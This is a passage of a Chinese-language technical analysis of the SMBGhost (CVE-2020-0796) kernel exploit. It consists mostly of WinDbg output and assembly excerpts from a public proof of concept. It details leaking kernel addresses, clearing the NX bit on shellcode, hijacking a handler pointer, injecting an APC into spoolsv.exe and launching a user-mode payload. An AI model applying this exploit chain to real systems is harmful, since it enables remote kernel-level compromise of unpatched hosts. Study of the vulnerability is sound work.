fffff802`52d1c170 4057 push rdi
fffff802`52d1c172 4883ec20 sub rsp,20h
fffff802`52d1c176 488bc2 mov rax,rdx
fffff802`52d1c179 488bf9 mov rdi,rcx
fffff802`52d1c17c 4885d2 test rdx,rdx
fffff802`52d1c17f 745b je nt!RtlCopyUnicodeString+0x6c (fffff802`52d1c1dc)
fffff802`52d1c181 440fb700 movzx r8d,word ptr [rax]
fffff802`52d1c185 0fb74102 movzx eax,word ptr [rcx+2]
4、利用任意地址写分别将两个参数写入SRVNET_RECT结构的偏移0x128和0x130处,为HandlerFunctions中函数的前两个参数。
kd> dd 0xffffa50834ba42d8-58+118
ffffa508`34ba4398 57d42280 fffff802 2f4a6dc0 ffffa508
ffffa508`34ba43a8 36241650 ffffa508 36241660 ffffa508
5、向原始连接发送请求,等待srv2!Srv2ReceiveHandler函数(nt!RtlCopyUnicodeString函数)被调用,函数执行后,nt!IoSizeofWorkItem函数的低6个字节成功被复制到目标地址。
kd> dq ffffa508`36241670
ffffa508`36241670 0000f802`52c7f7a0 00000000`00000000
ffffa508`36241680 00000000`00000000 00000000`00000000
ffffa508`36241690 00000000`00000000 00000000`00000000
kd> u fffff802`52c7f7a0
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
6、然后利用之前的方式将这6个字节依次泄露出来,加上0xffff000000000000,减去IoSizeofWorkItem函数在模块中的偏移得到ntoskrnl基址。
1、获取PTE基址 利用任意地址读读取nt!MiGetPteAddress函数偏移0x13处的地址,低6位即可。然后加上0xffff000000000000得到PTE基址为0xFFFFF10000000000(0xfffff80252d03d39处第二个操作数)。
kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff802`52d03d28 48c1e909 shr rcx,9
fffff802`52d03d2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`52d03d36 4823c8 and rcx,rax
fffff802`52d03d39 48b80000000000f1ffff mov rax,0FFFFF10000000000h
fffff802`52d03d43 4803c1 add rax,rcx
fffff802`52d03d46 c3 ret
d> db nt!MiGetPteAddress + 13 l8
fffff802`52d03d3b 00 00 00 00 00 f1 ff ff ........
2、利用任意地址写将Shellcode复制到0xFFFFF78000000800处,在后续章节会对Shellcode进行进一步分析。
kd> u 0xFFFFF78000000800
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
3、计算Shellcode的PTE,依然采用nt!MiGetPteAddress函数中的计算公式。((0xFFFFF78000000800 >> 9 ) & 0x7FFFFFFFF8) + 0xFFFFF10000000000 = 0xFFFFF17BC0000000。然后取出Shellcode PTE偏移7处的字节并和0x7F相与之后放回原处,去除NX标志位。
kd> db fffff17b`c0000000 //去NX标志前
fffff17b`c0000000 63 39 fb 00 00 00 00 80-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
kd> db fffff17b`c0000000 //去NX标志后
fffff17b`c0000000 63 39 fb 00 00 00 00 00-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
4、利用任意地址写将Shellcode地址(0xFFFFF78000000800)放入可控地址,然后采用已知函数调用的方法用指向Shellcode指针的可控地址减8的值覆写HandlerFunctions。使得HandlerFunctions中的srv2!Srv2ReceiveHandler函数指针被覆盖为Shellcode地址。然后向该连接发包,等待Shellcode被调用。另外,由于ntoskrnl基址已经被泄露出来,可以将其作为参数传给Shellcode,在Shellcode中就不需要获取ntoskrnl基址了。
kd> dq ffffa508`34ba42d8-58+118 l1
ffffa508`34ba4398 ffffa508`36241648
kd> u poi(ffffa508`36241648+8)
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
kd> dq ffffa508`34ba42d8-58+128 l1
ffffa508`34ba43a8 fffff802`52c12000
kd> lmm nt
Browse full module list
start end module name
fffff802`52c12000 fffff802`536c9000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
kd> r rcx //ntoskrnl基址
rcx=fffff80252c12000
本分析参考以下链接:https://github.com/ZecOps/CVE-2020-0796-RCE-POC/blob/master/smbghost_kshellcode_x64.asm
获取内核模块基址在漏洞利用中是很关键的事情,在后面会用到它的很多导出函数。这里列出常见的一种获取ntoskrnl.exe基址的思路: 通过KPCR找到IdtBase,然后根据IdtBase寻找中断0的ISR入口点,该入口点属于ntoskrnl.exe模块,所以可以在找到该地址后向前搜索找到ntoskrnl.exe模块基址。 在64位系统中,GS段寄存器在内核态会指向KPCR,KPCR偏移0x38处为IdtBase:
3: kd> rdmsr 0xC0000101
msr[c0000101] = ffffdc81`fe1c1000
3: kd> dt _kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
ISR入口点在_KIDTENTRY64结构体中被分成三部分:OffsetLow、OffsetMiddle 以及 OffsetHigh。其计算公式为:( OffsetHigh << 32 ) | ( OffsetMiddle << 16 ) | OffsetLow ,如下所示,本次调试的入口地址实际上是0xfffff8004f673d00,该地址位于ntoskrnl.exe模块。
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000)
((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000) : 0xffffdc81fe1d4000 [Type: _KIDTENTRY64 *]
[+0x000] OffsetLow : 0x3d00 [Type: unsigned short]
[+0x002] Selector : 0x10 [Type: unsigned short]
[+0x004 ( 2: 0)] IstIndex : 0x0 [Type: unsigned short]
[+0x004 ( 7: 3)] Reserved0 : 0x0 [Type: unsigned short]
[+0x004 (12: 8)] Type : 0xe [Type: unsigned short]
[+0x004 (14:13)] Dpl : 0x0 [Type: unsigned short]
[+0x004 (15:15)] Present : 0x1 [Type: unsigned short]
[+0x006] OffsetMiddle : 0x4f67 [Type: unsigned short]
[+0x008] OffsetHigh : 0xfffff800 [Type: unsigned long]
[+0x00c] Reserved1 : 0x0 [Type: unsigned long]
[+0x000] Alignment : 0x4f678e0000103d00 [Type: unsigned __int64]
3: kd> u 0xfffff8004f673d00
nt!KiDivideErrorFault:
fffff800`4f673d00 4883ec08 sub rsp,8
fffff800`4f673d04 55 push rbp
fffff800`4f673d05 4881ec58010000 sub rsp,158h
fffff800`4f673d0c 488dac2480000000 lea rbp,[rsp+80h]
fffff800`4f673d14 c645ab01 mov byte ptr [rbp-55h],1
fffff800`4f673d18 488945b0 mov qword ptr [rbp-50h],rax
可直接取IdtBase偏移4处的QWORD值,与0xfffffffffffff000相与,然后进行页对齐向前搜索,直到匹配到魔值"\x4D\x5A"(MZ),此时就得到了ntoskrnl.exe基址。有了ntoskrnl.exe模块的基址,就可以通过遍历导出表获取相关函数的地址。
3: kd> dq 0xffffdc81`fe1d4000+4 l1
ffffdc81`fe1d4004 fffff800`4f678e00
3: kd> lmm nt
Browse full module list
start end module name
fffff800`4f4a7000 fffff800`4ff5e000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
3: kd> db fffff800`4f4a7000
fffff800`4f4a7000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
fffff800`4f4a7010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
fffff800`4f4a7020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff800`4f4a7030 00 00 00 00 00 00 00 00-00 00 00 00 08 01 00 00 ................
fffff800`4f4a7040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
fffff800`4f4a7050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
fffff800`4f4a7060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
fffff800`4f4a7070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
在x64系统上(调试环境),KPCR偏移0x180处为KPRCB结构,KPRCB结构偏移8处为_KTHREAD结构的CurrentThread。_KTHREAD结构偏移0x220处为 _KPROCESS结构。KPROCESS结构为EPROCESS的第一项,EPROCESS结构偏移0x488为_LIST_ENTRY结构的ThreadListHead。
3: kd> dt nt!_kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
3: kd> dx -id 0,0,ffff818c6286f040 -r1 (*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180))
(*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180)) [Type: _KPRCB]
[+0x000] MxCsr : 0x1f80 [Type: unsigned long]
[+0x004] LegacyNumber : 0x3 [Type: unsigned char]
[+0x005] ReservedMustBeZero : 0x0 [Type: unsigned char]
[+0x006] InterruptRequest : 0x0 [Type: unsigned char]
[+0x007] IdleHalt : 0x1 [Type: unsigned char]
[+0x008] CurrentThread : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140)
((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140) : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] SListFaultAddress : 0x0 [Type: void *]
[+0x020] QuantumTarget : 0x791ddc0 [Type: unsigned __int64]
[+0x028] InitialStack : 0xfffff6074c645c90 [Type: void *]
[+0x030] StackLimit : 0xfffff6074c640000 [Type: void *]
[+0x038] StackBase : 0xfffff6074c646000 [Type: void *]
......
[+0x220] Process : 0xfffff8004fa359c0 [Type: _KPROCESS *]
3: kd> dt _eprocess 0xfffff8004fa359c0
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : (null)
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
......
+0x450 ImageFileName : [15] "Idle"
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xfffff800`4fa38ab8 - 0xffffdc81`fe1d27f8 ]
nt!PsGetProcessImageFileName 通过此函数得到ImageFileName在EPROCESS中的偏移(0x450),然后通过一些判断和计算获得ThreadListHead在EPROCESS中的偏移(调试环境为0x488)。
nt!IoThreadToProcess 从KTHREAD结构中得到KPROCESS(EPROCESS)结构体的地址(偏移0x220处)。然后通过之前计算出的偏移获取ThreadListHead结构,通过访问ThreadListHead结构获取ThreadListEntry(位于ETHREAD),遍历ThreadListEntry以计算KTHREAD(ETHREAD)相对于ThreadListEntry的偏移,自适应相关吧。
kd> u rip
nt!IoThreadToProcess:
fffff805`39a79360 488b8120020000 mov rax,qword ptr [rcx+220h]
fffff805`39a79367 c3 ret
kd> g
Breakpoint 0 hit
fffff780`0000091d 4d29ce sub r14,r9
kd> ub rip
fffff780`00000900 4d89c1 mov r9,r8
fffff780`00000903 4d8b09 mov r9,qword ptr [r9]
fffff780`00000906 4d39c8 cmp r8,r9
fffff780`00000909 0f84e4000000 je fffff780`000009f3
fffff780`0000090f 4c89c8 mov rax,r9
fffff780`00000912 4c29f0 sub rax,r14
fffff780`00000915 483d00070000 cmp rax,700h
fffff780`0000091b 77e6 ja fffff780`00000903
kd> dt _ethread @r14 -y ThreadListEntry
nt!_ETHREAD
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`1382f6f8 - 0xffffca8d`1a0d36f8 ]
kd> dq r9 l1
ffffca8d`1a0d2738 ffffca8d`1382f6f8
kd> ? @r9-@r14
Evaluate expression: 1720 = 00000000`000006b8
kd> u rax
nt!PsGetCurrentProcess:
fffff800`4f5a9ca0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`4f5a9ca9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff800`4f5a9cb0 c3 ret
kd> dt _kthread @rax
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
......
+0x098 ApcState : _KAPC_STATE
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118))
(*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118)) [Type: _KAPC_STATE]
[+0x000] ApcListHead [Type: _LIST_ENTRY [2]]
[+0x020] Process : 0xffffca8d10ea3340 [Type: _KPROCESS *]
[+0x028] InProgressFlags : 0x0 [Type: unsigned char]
kd> g
Breakpoint 1 hit
fffff780`0000096e bf48b818b8 mov edi,0B818B848h
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x450 ImageFileName : [15] "spoolsv.exe"
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x3f8 Peb : 0x00000000`00360000 _PEB
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xffffca8d`18313738 - 0xffffca8d`178e9738 ]
kd> dt _kTHREAD @rdx
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : (null)
+0x020 QuantumTarget : 0x3b5dc10
+0x028 InitialStack : 0xfffffe80`76556c90 Void
+0x030 StackLimit : 0xfffffe80`76551000 Void
+0x038 StackBase : 0xfffffe80`76557000 Void
......
+0x0e8 Queue : 0xffffca8d`1307d180 _DISPATCHER_HEADER
+0x0f0 Teb : 0x00000000`00387000 Void
kd> r rdx //目标KTHREAD
rdx=ffffca8d178e9080
kd> dt _ETHREAD @rdx //感觉这个没啥用,先留着
nt!_ETHREAD
+0x000 Tcb : _KTHREAD
......
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`18cbe6c8 - 0xffffca8d`16d2e738 ]
; KeInitializeApc(PKAPC, //0xfffff78000000e30
; PKTHREAD, //0xffffca8d178e9080
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine, //0xfffff78000000a62
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode, ;fffff780`00000e00
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context); ;fffff780`00000e00
lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, KEINITIALIZEAPC_HASH
call win_api_direct
//初始化后的KAPC结构
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : (null)
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0 ''
kd> u 0xfffff780`00000a62 //KernelRoutine
fffff780`00000a62 55 push rbp
fffff780`00000a63 53 push rbx
fffff780`00000a64 57 push rdi
fffff780`00000a65 56 push rsi
fffff780`00000a66 4157 push r15
fffff780`00000a68 498b28 mov rbp,qword ptr [r8]
fffff780`00000a6b 4c8b7d08 mov r15,qword ptr [rbp+8]
fffff780`00000a6f 52 push rdx
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+DATA_KAPC_OFFSET]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, KEINSERTQUEUEAPC_HASH
call win_api_direct
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : 0x0000087f`fffff200 Void
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0x1 ''
然后判断KAPC.ApcListEntry中UserApcPending比特位是否被设置,如果成功,就等待目标线程获得权限,执行APC例程,执行KernelApcRoutine函数。
mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; * Since Win10 R5:
; Bit 0: SpecialUserApcPending
; Bit 1: UserApcPending
; if success, UserApcPending MUST be 1
test byte [rax+0x1a], 2
jnz _insert_queue_apc_done
kd> p
fffff780`000009e7 f6401a02 test byte ptr [rax+1Ah],2
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40))
(*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
kd> db rax l1a+1
ffffca8d`178e9128 40 0e 00 00 80 f7 ff ff-40 0e 00 00 80 f7 ff ff @.......@.......
ffffca8d`178e9138 40 e2 cb 18 8d ca ff ff-00 00 02 @..........
在这个函数里先将IRQL设置为PASSIVE_LEVEL(通过在KernelApcRoutine中将cr8置0),以便调用ZwAllocateVirtualMemory函数。 + 申请空间并复制用户态Shellcode 调用ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)分配内存,然后将用户态Shellcode复制过去。如下所示,分配到的地址为bc0000。
kd> dd rdx l1
fffffe80`766458d0 00000000
kd> dd fffffe80`766458d0 l1 //baseAddr
fffffe80`766458d0 00bc0000
kd> u rip //将用户模式代码复制到bc0000处:
fffff780`00000aa5 488b3e mov rdi,qword ptr [rsi]
fffff780`00000aa8 488d354d000000 lea rsi,[fffff780`00000afc]
fffff780`00000aaf b980030000 mov ecx,380h
fffff780`00000ab4 f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
kd> u bc0000
00000000`00bc0000 4892 xchg rax,rdx
00000000`00bc0002 31c9 xor ecx,ecx
00000000`00bc0004 51 push rcx
00000000`00bc0005 51 push rcx
00000000`00bc0006 4989c9 mov r9,rcx
00000000`00bc0009 4c8d050d000000 lea r8,[00000000`00bc001d]
00000000`00bc0010 89ca mov edx,ecx
00000000`00bc0012 4883ec20 sub rsp,20h
1: kd> dt _peb @rax
nt!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Padding0 : [4] ""
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00007ff7`94970000 Void
+0x018 Ldr : 0x00007fff`ea7a53c0 _PEB_LDR_DATA
+0x020 ProcessParameters : 0x00000000`012c1bc0 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : (null)
+0x030 ProcessHeap : 0x00000000`012c0000 Void
......
1: kd> dx -id 0,0,ffff818c698db380 -r1 ((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0)
((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0) : 0x7fffea7a53c0 [Type: _PEB_LDR_DATA *]
[+0x000] Length : 0x58 [Type: unsigned long]
[+0x004] Initialized : 0x1 [Type: unsigned char]
[+0x008] SsHandle : 0x0 [Type: void *]
[+0x010] InLoadOrderModuleList [Type: _LIST_ENTRY]
[+0x020] InMemoryOrderModuleList [Type: _LIST_ENTRY]
[+0x030] InInitializationOrderModuleList [Type: _LIST_ENTRY]
[+0x040] EntryInProgress : 0x0 [Type: void *]
[+0x048] ShutdownInProgress : 0x0 [Type: unsigned char]
[+0x050] ShutdownThreadId : 0x0 [Type: void *]
1: kd> dx -id 0,0,ffff818c698db380 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0))
(*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0x12c2580 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0x1363920 [Type: _LIST_ENTRY *]
LDR_DATA_TABLE_ENTRY结构偏移0x30处为模块基址,偏移0x58处为BaseDllName,其起始处为模块名的unicode长度(两个字节),偏移0x8处为该模块的unicode字符串。通过长度和字符串这两个特征可以定位kernel32模块,并通过DllBase字段获取基址。在实际操作中需要计算这些地址相对于InMemoryOrderLinks的偏移。
1: kd> dt _LDR_DATA_TABLE_ENTRY 0x12c2b00
nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`012c30f0 - 0x00000000`012c23e0 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`012c3100 - 0x00000000`012c23f0 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`012c45b0 - 0x00000000`012c3110 ]
+0x030 DllBase : 0x00007fff`e8ab0000 Void
+0x038 EntryPoint : 0x00007fff`e8ac7c70 Void
+0x040 SizeOfImage : 0xb2000
+0x048 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
+0x058 BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
1: kd> dx -id 0,0,ffff818c698db380 -r1 -nv (*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58))
(*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58)) : "KERNEL32.DLL" [Type: _UNICODE_STRING]
[+0x000] Length : 0x18 [Type: unsigned short]
[+0x002] MaximumLength : 0x1a [Type: unsigned short]
[+0x008] Buffer : 0x12c2cb8 : "KERNEL32.DLL" [Type: wchar_t *]
然后在kernel32模块的导出表中寻找CreateThread函数,然后将其保存至KernelApcRoutine函数的参数SystemArgument1中,传送给userland_start_thread。
; save CreateThread address to SystemArgument1
mov [rbx], rax
kd> dq rbx l1
fffffe80`766458e0 00000000`00001000
kd> p
fffff780`00000aea 31c9 xor ecx,ecx
kd> dq fffffe80`766458e0 l1
fffffe80`766458e0 00007ffa`d229a810
kd> u 7ffa`d229a810
KERNEL32!CreateThreadStub:
00007ffa`d229a810 4c8bdc mov r11,rsp
00007ffa`d229a813 4883ec48 sub rsp,48h
00007ffa`d229a817 448b542470 mov r10d,dword ptr [rsp+70h]
00007ffa`d229a81c 488b442478 mov rax,qword ptr [rsp+78h]
00007ffa`d229a821 4181e204000100 and r10d,10004h
00007ffa`d229a828 498943f0 mov qword ptr [r11-10h],rax
00007ffa`d229a82c 498363e800 and qword ptr [r11-18h],0
00007ffa`d229a831 458953e0 mov dword ptr [r11-20h],r10d
然后将QUEUEING_KAPC置0,将IRQL 恢复至APC_LEVEL。
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
最终成功运行到用户模式Shellcode,用户模式代码包含userland_start_thread和功能Shellcode(userland_payload),在userland_start_thread中通过调用CreateThread函数去执行功能Shellcode。userland_payload这里不再介绍。
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret
userland_payload:
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52......"
kd> u r8
00000000`00bc001d fc cld
00000000`00bc001e 4883e4f0 and rsp,0FFFFFFFFFFFFFFF0h
00000000`00bc0022 e8c0000000 call 00000000`00bc00e7
00000000`00bc0027 4151 push r9
00000000`00bc0029 4150 push r8
00000000`00bc002b 52 push rdx
00000000`00bc002c 51 push rcx
00000000`00bc002d 56 push rsi
